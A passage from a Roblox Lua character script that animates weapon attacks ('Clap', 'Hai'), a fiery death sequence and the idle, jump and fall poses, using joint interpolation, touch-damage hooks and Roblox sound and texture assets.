  4379. con2=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end)
  4380. for i=0,1,0.1 do
  4381. swait()
  4382. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4383. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4384. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4385. Handleweld.C0=clerp(Handleweld.C0,cf(-5,0,-10)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2)
  4386. Handle2weld.C0=clerp(Handle2weld.C0,cf(5,0,-10)*angles(math.rad(20),math.rad(20),math.rad(0)),.2)
  4387. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-20)),.3)
  4388. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(20)),.3)
  4389. end
  4390. so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8)
  4391. so("http://www.roblox.com/asset/?id=231917758",Handle,1,1)
  4392. so("http://www.roblox.com/asset/?id=159882481",Torso,1,1)
  4393. for i=0,1,0.1 do
  4394. swait()
  4395. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4396. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4397. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4398. Handleweld.C0=clerp(Handleweld.C0,cf(-4,0,-20)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2)
  4399. Handle2weld.C0=clerp(Handle2weld.C0,cf(4,0,-20)*angles(math.rad(20),math.rad(20),math.rad(0)),.2)
  4400. RW.C0=clerp(RW.C0,cf(1,0.5,-1)*angles(math.rad(90),math.rad(0),math.rad(-20)),.3)
  4401. LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*angles(math.rad(90),math.rad(0),math.rad(20)),.3)
  4402. end
  4403. --dmgstop()
  4404. attack=false
  4405. con1:disconnect()
  4406. con2:disconnect()
  4407. if TrailDeb == true then
  4408. TrailDeb = false
  4409. end
  4410. end
  4411.  
  4412. function Clap()
  4413. attack=true
  4414. mana=mana-20
  4415. if TrailDeb == false then
  4416. TrailDeb = true
  4417. end
  4418.  
  4419.  
  4420. coroutine.wrap(function()
  4421. local Old = Handle2.CFrame.p
  4422. while wait()do
  4423. if not TrailDeb then break end
  4424. local New = Handle2.CFrame.p
  4425. local Mag =(Old -New).magnitude
  4426. local Dis =(Old +New)/2
  4427. local Trail = Instance.new("Part",Character)
  4428. Trail.Material = "Neon"
  4429. Trail.Anchored = true
  4430. Trail.CanCollide = false
  4431. Trail.BrickColor = TorsoColor
  4432. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4433. Trail.TopSurface = 0
  4434. Trail.BottomSurface = 0
  4435. Trail.formFactor = "Custom"
  4436. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4437. local ms = Instance.new("BlockMesh",Trail)
  4438. ms.Scale = Vector3.new(1,1,1)
  4439. local TM = Instance.new("CylinderMesh",Trail)
  4440. TM.Scale = Vector3.new(1,1,1)
  4441. Old = New
  4442. coroutine.wrap(function()
  4443. for i = 1,0,-0.1 do
  4444. wait()
  4445. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4446. end
  4447. Trail:remove()
  4448. end)()
  4449. coroutine.wrap(function()
  4450. for i = 1,10 do
  4451. wait()
  4452. Trail.Transparency = Trail.Transparency +0.1
  4453. end end)()end end)()
  4454. coroutine.wrap(function()
  4455. local Old = Handle.CFrame.p
  4456. while wait()do
  4457. if not TrailDeb then break end
  4458. local New = Handle.CFrame.p
  4459. local Mag =(Old -New).magnitude
  4460. local Dis =(Old +New)/2
  4461. local Trail = Instance.new("Part",Character)
  4462. Trail.Material = "Neon"
  4463. Trail.Anchored = true
  4464. Trail.CanCollide = false
  4465. Trail.BrickColor = TorsoColor
  4466. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4467. Trail.TopSurface = 0
  4468. Trail.BottomSurface = 0
  4469. Trail.formFactor = "Custom"
  4470. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4471. local ms = Instance.new("BlockMesh",Trail)
  4472. ms.Scale = Vector3.new(1,1,1)
  4473. local TM = Instance.new("CylinderMesh",Trail)
  4474. TM.Scale = Vector3.new(1,1,1)
  4475. Old = New
  4476. coroutine.wrap(function()
  4477. for i = 1,0,-0.1 do
  4478. wait()
  4479. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4480. end
  4481. Trail:remove()
  4482. end)()
  4483. coroutine.wrap(function()
  4484. for i = 1,10 do
  4485. wait()
  4486. Trail.Transparency = Trail.Transparency +0.1
  4487. end end)()end end)()
  4488. con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end)
  4489. con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end)
  4490. so("http://www.roblox.com/asset/?id=159882584",Torso,1,0.9)
  4491. for i=0,1,0.08 do
  4492. swait()
  4493. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4494. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4495. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4496. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,1,-5)*angles(math.rad(0),math.rad(-40),math.rad(20)),.2)
  4497. Handleweld.C0=clerp(Handleweld.C0,cf(5,1,-5)*angles(math.rad(0),math.rad(40),math.rad(-20)),.2)
  4498. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-30,0,-20),.3)
  4499. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-30,0,20),.3)
  4500. end
  4501. so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8)
  4502. so("http://www.roblox.com/asset/?id=231917758",Handle,1,1)
  4503. for i=0,1,0.08 do
  4504. swait()
  4505. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4506. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4507. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4508. Handle2weld.C0=clerp(Handle2weld.C0,cf(4,1,-5)*angles(math.rad(0),math.rad(-43),math.rad(20)),.2)
  4509. Handleweld.C0=clerp(Handleweld.C0,cf(-4,1,-5)*angles(math.rad(0),math.rad(43),math.rad(-20)),.2)
  4510. LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3)
  4511. RW.C0=clerp(RW.C0,cf(1,0.5,-1)*euler(-30,0,-20),.3)
  4512. end
  4513. --dmgstop()
  4514. attack=false
  4515. con1:disconnect()
  4516. con2:disconnect()
  4517. if TrailDeb == true then
  4518. TrailDeb = false
  4519. end
  4520. end
  4521.  
  4522. function Hai()
  4523. attack=true
  4524. Humanoid.WalkSpeed=0
  4525. so("http://www.roblox.com/asset/?id=159882567",Torso,1,1)
  4526. for i=0,1,0.1 do
  4527. swait()
  4528. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4529. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4530. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4531. Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2)
  4532. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2)
  4533. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4534. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4535. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3)
  4536. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
  4537. end
  4538. so("http://www.roblox.com/asset/?id=231917758",Handle,1,.8)
  4539. for i=0,1,0.1 do
  4540. swait()
  4541. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4542. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4543. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4544. Handleweld.C0=clerp(Handleweld.C0,cf(3,8,0)*angles(math.rad(0),math.rad(-20),math.rad(-30)),.2)
  4545. Handle2weld.C0=clerp(Handle2weld.C0,cf(0.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4546. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4547. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4548. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(50)),.5)
  4549. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
  4550. end
  4551. so("http://www.roblox.com/asset/?id=231917758",Handle,1,1)
  4552. for i=0,1,0.1 do
  4553. swait()
  4554. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4555. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4556. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4557. Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2)
  4558. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2)
  4559. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4560. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4561. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3)
  4562. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
  4563.  
  4564. end
  4565. so("http://www.roblox.com/asset/?id=231917758",Handle,1,.8)
  4566. for i=0,1,0.1 do
  4567. swait()
  4568. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4569. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4570. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4571. Handleweld.C0=clerp(Handleweld.C0,cf(3,8,0)*angles(math.rad(0),math.rad(-20),math.rad(-30)),.2)
  4572. Handle2weld.C0=clerp(Handle2weld.C0,cf(0.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4573. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4574. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4575. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(50)),.3)
  4576. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
  4577. end
  4578. so("http://www.roblox.com/asset/?id=231917758",Handle,1,1)
  4579. for i=0,1,0.1 do
  4580. swait()
  4581. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4582. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4583. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4584. Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2)
  4585. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2)
  4586. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4587. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4588. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3)
  4589. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
  4590. end
  4591. --dmgstop()
  4592. Humanoid.WalkSpeed=12
  4593. attack=false
  4594. end
  4595.  
  4596. function Die()
  4597. attack=true
  4598. Footsteps:Stop()
  4599. Footsteps2:Stop()
  4600. local Fire = it("Sound",Character.Torso)
  4601. Fire.SoundId = "rbxassetid://192104941"
  4602. Fire.Looped = true
  4603. Fire.Pitch = 1
  4604. Fire.Volume = 1
  4605. local Fire2 = it("Sound",Handle2)
  4606. Fire2.SoundId = "rbxassetid://192104941"
  4607. Fire2.Looped = true
  4608. Fire2.Pitch = 1
  4609. Fire2.Volume = 1
  4610. local Fire3 = it("Sound",Handle)
  4611. Fire3.SoundId = "rbxassetid://192104941"
  4612. Fire3.Looped = true
  4613. Fire3.Pitch = 1
  4614. Fire3.Volume = 1
  4615. local Fire4 = it("Sound",handle)
  4616. Fire4.SoundId = "rbxassetid://192104941"
  4617. Fire4.Looped = true
  4618. Fire4.Pitch = 1
  4619. Fire4.Volume = 1
  4620. local fire = Instance.new("ParticleEmitter", Character.Torso)
  4621. fire.Lifetime = NumberRange.new(0.5)
  4622. fire.Speed = NumberRange.new(1, 3)
  4623. fire.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 3.564, 2.521), NumberSequenceKeypoint.new(1, 3.534, 2.521)})
  4624. fire.Rate = 0
  4625. fire.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
  4626. fire.LightEmission = 0.6
  4627. fire.Texture = "http://www.roblox.com/asset/?id=242911609"
  4628. fire.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
  4629. local fire2 = Instance.new("ParticleEmitter", Handle)
  4630. fire2.Lifetime = NumberRange.new(0.5)
  4631. fire2.Speed = NumberRange.new(1, 3)
  4632. fire2.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 6.564, 5.521), NumberSequenceKeypoint.new(1, 6.534, 5.521)})
  4633. fire2.Rate = 0
  4634. fire2.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
  4635. fire2.LightEmission = 0.6
  4636. fire2.Texture = "http://www.roblox.com/asset/?id=242911609"
  4637. fire2.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
  4638. local fire3 = Instance.new("ParticleEmitter", Handle2)
  4639. fire3.Lifetime = NumberRange.new(0.5)
  4640. fire3.Speed = NumberRange.new(1, 3)
  4641. fire3.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 6.564, 5.521), NumberSequenceKeypoint.new(1, 6.534, 5.521)})
  4642. fire3.Rate = 0
  4643. fire3.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
  4644. fire3.LightEmission = 0.6
  4645. fire3.Texture = "http://www.roblox.com/asset/?id=242911609"
  4646. fire3.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
  4647. local fire4 = Instance.new("ParticleEmitter", handle)
  4648. fire4.Lifetime = NumberRange.new(0.5)
  4649. fire4.Speed = NumberRange.new(1, 3)
  4650. fire4.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 3.564, 2.521), NumberSequenceKeypoint.new(1, 3.534, 2.521)})
  4651. fire4.Rate = 0
  4652. fire4.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
  4653. fire4.LightEmission = 0.6
  4654. fire4.Texture = "http://www.roblox.com/asset/?id=242911609"
  4655. fire4.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
  4656. Humanoid.WalkSpeed = 0
  4657. so("http://www.roblox.com/asset/?id=199149297",Head,1,1)
  4658. so("http://www.roblox.com/asset/?id=209527203",Head,1,1)
  4659. for i=0,1,0.08 do
  4660. swait()
  4661. Torso.Velocity=RootPart.CFrame.lookVector*-30
  4662. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,0)*angles(math.rad(-45),math.rad(0),math.rad(90)),.2)
  4663. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(45)),.2)
  4664. handleweld.C0=clerp(handleweld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2)
  4665. Handleweld.C0=clerp(Handleweld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2)
  4666. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2)
  4667. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(45)),.2)
  4668. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-45)),.2)
  4669. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-10),math.rad(0),math.rad(0)),.2)
  4670. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-10),math.rad(0),math.rad(0)),.2)
  4671. end
  4672. for i=0,1,0.005 do
  4673. swait()
  4674. light.Range=15-10*i
  4675. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2)
  4676. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4)
  4677. handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2)
  4678. Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2)
  4679. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
  4680. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2)
  4681. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2)
  4682. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4683. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4684. end
  4685. light.Range=0
  4686. for i=0,1,0.01 do
  4687. swait()
  4688. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2)
  4689. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4)
  4690. handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2)
  4691. Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2)
  4692. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
  4693. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2)
  4694. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2)
  4695. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4696. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4697. end
  4698. so("http://www.roblox.com/asset/?id=209527175",Head,1,0.9)
  4699. fire.Rate = 1000
  4700. fire2.Rate = 1000
  4701. fire3.Rate = 1000
  4702. fire4.Rate = 1000
  4703. Fire:Play()
  4704. Fire2:Play()
  4705. Fire3:Play()
  4706. Fire4:Play()
  4707. for i=0,1,0.005 do
  4708. swait()
  4709. Character.Head.face.Transparency = 0+1*i
  4710. LeftArm.Transparency=0+1*i
  4711. RightArm.Transparency=0+1*i
  4712. LeftLeg.Transparency=0+1*i
  4713. RightLeg.Transparency=0+1*i
  4714. Head.Transparency=0+1*i
  4715. Torso.Transparency=0+1*i
  4716. for _,v in pairs(Character:children()) do
  4717. if v:IsA("Hat") then
  4718. v.Handle.Transparency = 0+1*i
  4719. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2)
  4720. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4)
  4721. handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2)
  4722. Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2)
  4723. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
  4724. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2)
  4725. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2)
  4726. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4727. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4728. end
  4729. end
  4730. --dmgstop()
  4731. end
  4732. Humanoid.Health = 0
  4733. end
  4734.  
  4735. equipanim()
  4736.  
  4737. local sine = 0
  4738. local change = 1
  4739. local val = 0
  4740.  
  4741. local mananum=0
  4742. while true do
  4743. swait()
  4744. sine = sine + change
  4745. local torvel=(RootPart.Velocity*Vector3.new(1,0,1)).magnitude
  4746. local velderp=RootPart.Velocity.y
  4747. hitfloor,posfloor=rayCast(RootPart.Position,(CFrame.new(RootPart.Position,RootPart.Position - Vector3.new(0,1,0))).lookVector,4,Character)
  4748. if equipped==true or equipped==false then
  4749. if Anim=="Idle" and attack==false then
  4750. idle=idle+1
  4751. else
  4752. idle=0
  4753. end
  4754. if Humanoid.Health <=20 then
  4755. if attack == false then
  4756. Humanoid.Health = math.huge
  4757. Die()
  4758. end
  4759. end
  4760. if idle>=1000 then
  4761. if attack==false then
  4762. --Sheath()
  4763. end
  4764. end
  4765. if RootPart.Velocity.y > 1 and hitfloor==nil then
  4766. Anim="Jump"
  4767. if attack==false then
  4768. Footsteps:Stop()
  4769. Footsteps2:Stop()
  4770. Neck.C0=clerp(Neck.C0,necko*euler(-0.2,0,0),.3)
  4771. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  4772. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0),.3)
  4773. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-.25,0,0.5),.3)
  4774. RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  4775. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-.25,0,-0.5),.3)
  4776. LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  4777. RH.C0=clerp(RH.C0,cf(1,0,-.75)*euler(-0.5,1.57,0)*euler(0,0,0),.2)
  4778. LH.C0=clerp(LH.C0,cf(-1,-1,-.3)*euler(-0.5,-1.57,0)*euler(0,0,0),.2)
  4779. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(0),math.rad(0)),.2)
  4780. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(20),math.rad(0)),.2)
  4781. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2)
  4782. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4783. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4784. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4785. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4786. end
  4787. elseif RootPart.Velocity.y < -1 and hitfloor==nil then
  4788. Anim="Fall"
  4789. if attack==false then
  4790. Footsteps:Stop()
  4791. Footsteps2:Stop()
  4792. Neck.C0=clerp(Neck.C0,necko*euler(0.3,0,0),.3)
  4793. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  4794. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0,0,0),.3)
  4795. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(0.1,0,1),.3)
  4796. RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  4797. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(0.1,0,-1),.3)
  4798. LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  4799. RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0.6,1.57,0)*euler(0,0,0),.2)
  4800. LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(-0.8,-1.57,0)*euler(0,0,0),.2)
  4801. handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4802. Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2)
  4803. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2)
  4804. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
